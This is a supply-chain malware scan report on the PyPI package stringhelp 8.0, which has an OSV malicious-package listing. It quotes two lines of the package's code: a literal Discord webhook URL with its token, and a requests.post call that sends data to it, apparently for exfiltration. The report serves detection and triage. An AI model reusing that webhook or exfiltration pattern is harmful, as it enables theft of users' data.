Chaintrap · PyPI supply chain
Registry metadata, verified artifact, OSV for this release, requires_dist dependency OSV pass, line-level rules (pypi_malware_rules), optional pip-audit/Bandit — same report shell as npm-mal-scan.
PyPI greenfield scan rated this release INFO (heuristic score 2.8 / 10). OSV reported 1 advisory ID(s); static analysis emitted 2 pattern hit(s).
Scanners prioritize signal over certainty: expect both false positives and blind spots. Combine OSV data with static findings and your own policy — this report does not replace manual review.
Heuristic score combines static rules, OSV hits for this exact version, and optional pip-audit / Bandit output. It is not a malware conviction.
Raw sum before 10.0 cap: 2.8 · Capped total: 2.8
Findings by severity high: 1, low: 1
| Static pattern rules (line-level) | 2.35 | 2 match(es); weights sum to this bucket before global cap. |
| OSV advisories (exact name@version) | 0.45 | 1 record(s); capped at 4.0 points. |
| pip-audit (optional) | 0 vuln row(s); capped at 3.0; enable PYPI_PIP_AUDIT. | |
| Bandit high/critical (optional) | 0 finding(s); capped at 3.0; enable PYPI_BANDIT. |
Ruleset: 2026-04-17
Use Source Code / Homepage for manual review of the upstream repo. This scan does not clone those URLs.
No project URLs in PyPI metadata.
Author email none@example.com
Trove classifiers
A small example package made to help you with strings
Line-level rules ran over text-like files under the extracted artifact (max 400000 bytes per file).
Files by suffix (top 24):
.py | 3 |
.txt | 3 |
.cfg | 1 |
Chaintrap pairs static behavior signals above with OSV data for this exact version — cross-check CVEs and malware listings with install scripts, execution paths, and scanner findings.
Source: osv.dev — queried at scan time.
1 advisory ID(s) returned by OSV query.
Malicious code in stringhelp (PyPI)
Malicious code in stringhelp (PyPI)
Malicious-package listing (OSV MAL-* namespace — e.g. OpenSSF malicious-packages). Treat as supply-chain malware signal; confirm with linked advisories and rotate credentials if this version was installed on sensitive hosts.
Declared requires_dist strings from package metadata. Each dependency is resolved to the highest PyPI version matching the version specifier, then checked against OSV for that exact name@version. Does not affect the headline verdict score.
No requires_dist entries in PyPI metadata for this release.
Detection library pypi_malware_rules (2026-04-17) — 75 line-level rules over .py and other text artifacts. Matches are triage signals, not proof of malice.
Matches by category network (2) · Total hits 2
Category network
Discord webhook URLs are common exfil/C2 channels for stealers (RAT mutants, token theft).
Analyst note Legitimate bots exist — correlate with other high-signal rules.
stringhelp-8.0/stringhelp/stringhelp.py:9
self.url = 'https://discordapp.com/api/webhooks/746555804047507537/SErkxjuHm1FwqSER8ll7DQtmbbjXAtfMtGk88b3O21Ev_uhbxziZ2-5Qz-1nL4RUsMIO'
Category network
Outbound HTTP via requests.
Analyst note Check URLs (literal vs dynamic) and whether responses feed exec/load.
stringhelp-8.0/stringhelp/stringhelp.py:12
requests.post(self.url, data={'content': item})MAL-* OSV IDs appear, review OpenSSF malicious-packages context and isolate affected hosts.